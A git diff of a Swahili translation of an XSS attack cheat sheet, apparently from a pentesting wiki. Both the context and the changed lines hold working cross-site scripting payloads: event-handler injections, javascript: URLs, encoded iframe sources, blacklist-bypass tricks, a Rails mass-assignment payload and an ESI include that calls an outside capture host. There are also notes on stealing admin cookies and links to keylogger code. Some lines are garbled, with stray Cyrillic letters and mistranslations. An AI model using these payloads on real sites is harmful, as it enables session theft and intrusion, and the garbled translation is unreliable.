Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengele chochote katika DOM**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -116,9 +116,9 @@ parentElement
|
||||
```
|
||||
Unaweza pia kujaribu **kuanzisha kazi za Javascript** moja kwa moja: `obj.sales.delOrders`.
|
||||
|
||||
Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
|
||||
Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho ambao huna DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
|
||||
|
||||
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** utekaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
|
||||
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** uundaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -126,7 +126,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka.
|
||||
Kuna **kodі ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodі ya JS isiyo na mipaka.
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -134,7 +134,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali pia katika **muktadha** **wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
|
||||
Aina hizi za XSS zinaweza kupatikana **popote**. Hazitegemei tu kwenye unyakuzi wa mteja wa programu ya wavuti bali kwenye **muktadha** **wowote**. Aina hizi za **utekelezaji wa JavaScript isiyo na mipaka** zinaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
|
||||
Baadhi ya **esemples**:
|
||||
|
||||
{{#ref}}
|
||||
@ -151,11 +151,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Kuingiza ndani ya HTML safi
|
||||
|
||||
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **kufutwa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
|
||||
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodі ya HTML katika muktadha huu, **kitu cha kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
|
||||
Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\***\***\*`-->`\*\***\***\*au \*\***`--!>`\*\*_
|
||||
|
||||
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyeupe inatumika, unaweza kutumia payloads kama:
|
||||
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyekundu inatumika, unaweza kutumia payloads kama:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -166,13 +166,13 @@ alert(1)
|
||||
Lakini, ikiwa black/whitelisting ya tags/attributes inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
|
||||
Mara tu unapokuwa **umeweza kubaini ni tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
|
||||
|
||||
### Tags/Events brute-force
|
||||
### Tags/Events kujaribu nguvu
|
||||
|
||||
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapokuwa umepata ni tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
|
||||
|
||||
### Custom tags
|
||||
### Tags za kawaida
|
||||
|
||||
Ikiwa hujapata tag halali ya HTML, unaweza kujaribu **kuunda tag maalum** na kutekeleza msimbo wa JS kwa kutumia attribute ya `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
|
||||
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
@ -269,10 +269,10 @@ Ikiwa huwezi **kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
|
||||
```
|
||||
### Ndani ya sifa
|
||||
|
||||
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
|
||||
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
|
||||
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/uandishi wa URL**
|
||||
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/kuandika URL**
|
||||
|
||||
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML **zinatolewa wakati wa wakati wa kutekeleza**. Kwa hivyo kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Rudi Nyuma </a>`
|
||||
|
||||
@ -349,17 +349,17 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Njia nyingine za kuficha**
|
||||
|
||||
_**Katika kesi hii, usimbuaji wa HTML na ujanja wa usimbuaji wa Unicode kutoka sehemu ya awali pia ni halali kwani uko ndani ya sifa.**_
|
||||
_**Katika kesi hii, usimbuaji wa HTML na hila ya usimbuaji wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Zaidi ya hayo, kuna **hila nzuri** kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **kimeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
|
||||
Zaidi ya hayo, kuna **hila nzuri** kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa limeondolewa URL kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Kumbuka kwamba ikiwa unajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
|
||||
Kumbuka kwamba ikiwa utajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
|
||||
|
||||
**Kutumia Hex na Octal encode na `javascript:`**
|
||||
|
||||
@ -379,7 +379,7 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangilio ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -387,7 +387,7 @@ Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka a
|
||||
|
||||
### juu ya Kuepuka Wakati wa Wamiliki
|
||||
|
||||
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" wamiliki wa matukio** wanaofaa.\
|
||||
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** zinazofaa.\
|
||||
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda wamiliki hawa wa matukio unaweza kujaribu kuepuka zifuatazo:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
@ -403,9 +403,9 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS katika "Madaraja Yasiyoweza Kutumika" (kigezo kilichofichwa, kiungo, kanuni, meta)
|
||||
### XSS katika "Vitambulisho visivyoweza kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
|
||||
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kigezo kilichofichwa na:**
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -432,7 +432,7 @@ Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields):
|
||||
|
||||
### Kupita kwenye Orodha ya Blacklist
|
||||
|
||||
Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||||
Njia kadhaa za kutumia uandishi tofauti tayari zimefunuliwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||||
|
||||
- **Uandishi wa HTML (vitambulisho vya HTML)**
|
||||
- **Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
|
||||
@ -446,11 +446,11 @@ Soma [Kupita kwenye Orodha ya Blacklist ya sehemu ya awali](#blacklist-bypasses)
|
||||
|
||||
**Kupita kwa msimbo wa JavaScript**
|
||||
|
||||
Soma [orodha ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blacklists-techniques).
|
||||
Soma [Orodha ya Blacklist ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufunguliwa.
|
||||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
|
||||
|
||||
Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -466,11 +466,11 @@ Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
Hila hii ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Kuingiza ndani ya msimbo wa JavaScript
|
||||
|
||||
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
|
||||
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML yanayoweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
|
||||
|
||||
### Kutoroka \<script> tag
|
||||
|
||||
@ -478,11 +478,11 @@ Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'reflected dat
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Kumbuka kwamba katika mfano huu **hatujafunga nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
|
||||
Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
|
||||
|
||||
### Ndani ya msimbo wa JS
|
||||
|
||||
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako linapatikana na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
|
||||
Ikiwa `<>` zinatakaswa unaweza bado **kutoroka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -490,10 +490,10 @@ Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Ili kujenga **strings** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **expressions za JS** kuingizwa kwa kutumia sintaksia `${ ... }`.\
|
||||
Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **reflected** ndani ya string ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **arbitrary JS code**:
|
||||
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelezo ya JS** kwa kutumia sintaksia `${ ... }`.\
|
||||
Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani** ya nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
|
||||
|
||||
Hii inaweza **kuabudiwa** kwa kutumia:
|
||||
Hii inaweza **kutumiwa vibaya** kwa kutumia:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -564,7 +564,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript mistari mipya (kutoka** [**JavaScript mistari mipya**](#javascript-new-lines) **hila)**
|
||||
**JavaScript new lines (kutoka** [**JavaScript new line**](#javascript-new-lines) **trick)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -739,23 +739,23 @@ top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
```
|
||||
## **Vikosi vya DOM**
|
||||
## **Vulnerabilities za DOM**
|
||||
|
||||
Kuna **kodiyake ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyake ya JS isiyo na mipaka.\
|
||||
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
Kuna **JS code** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza JS code isiyo na mipaka.\
|
||||
**Kwa sababu ya upanuzi wa maelezo ya** [**vulnerabilities za DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Huko utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\
|
||||
Huko utapata **maelezo ya kina kuhusu ni nini vulnerabilities za DOM, jinsi zinavyosababishwa, na jinsi ya kuzitumia**.\
|
||||
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Kuboresha Self-XSS
|
||||
### Kuongeza Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains zingine (zinazo hatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
|
||||
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -769,15 +769,15 @@ Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko nd
|
||||
|
||||
### Kurefusha Kikao
|
||||
|
||||
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||||
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin kusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||||
|
||||
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
|
||||
|
||||
## Njia Nyingine za Kupita
|
||||
## Bypasses Nyingine
|
||||
|
||||
### Unicode Iliyosawazishwa
|
||||
|
||||
Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Unaweza kuangalia ikiwa **maadili yanayorejelewa** yana **sawasishwa kwa unicode** katika server (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -785,12 +785,12 @@ Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa katika HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.\
|
||||
Kwa sababu ya **RoR mass assignment** nukuu zinaingizwa kwenye HTML na kisha kikomo cha nukuu kinapita na maeneo ya ziada (onfocus) yanaweza kuongezwa ndani ya tag.\
|
||||
Mfano wa fomu ([from this report](https://hackerone.com/reports/709336)), ikiwa utatuma payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
Wakati wa "Key","Value" utaonyeshwa tena kama ifuatavyo:
|
||||
Pairi "Key","Value" itarudi kama ifuatavyo:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
@ -865,9 +865,9 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Aina za Skripti kwa XSS
|
||||
### Aina za Script kwa XSS
|
||||
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Hivyo, ni aina gani zinaweza kuashiria kupakia skripti?
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Hivyo, ni aina gani zinaweza kuashiria kupakia script?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
@ -899,7 +899,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuitumia vibaya inaweza kusababisha XSS.
|
||||
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
|
||||
```html
|
||||
@ -987,7 +987,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
|
||||
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii andiko**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
|
||||
|
||||
- Kutumia import()
|
||||
```javascript
|
||||
@ -1383,7 +1383,7 @@ Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nyw
|
||||
|
||||
### Keylogger
|
||||
|
||||
Nikiwa naangalia katika github, nilipata tofauti kadhaa:
|
||||
Nikiwa naangalia github, niliona tofauti kadhaa:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
@ -1533,16 +1533,16 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
|
||||
xss-in-markdown.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS hadi SSRF
|
||||
### XSS kwa SSRF
|
||||
|
||||
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo hadi SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
|
||||
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Tumia hii kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
|
||||
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS katika PDF iliyoundwa kwa dinamik
|
||||
### XSS katika PDF inayoundwa kwa dinamik
|
||||
|
||||
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
|
||||
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
|
||||
@ -1551,7 +1551,7 @@ Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, ita
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data za PDF**:
|
||||
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data ya PDF**:
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
@ -1559,7 +1559,7 @@ pdf-injection.md
|
||||
|
||||
### XSS katika Amp4Email
|
||||
|
||||
AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
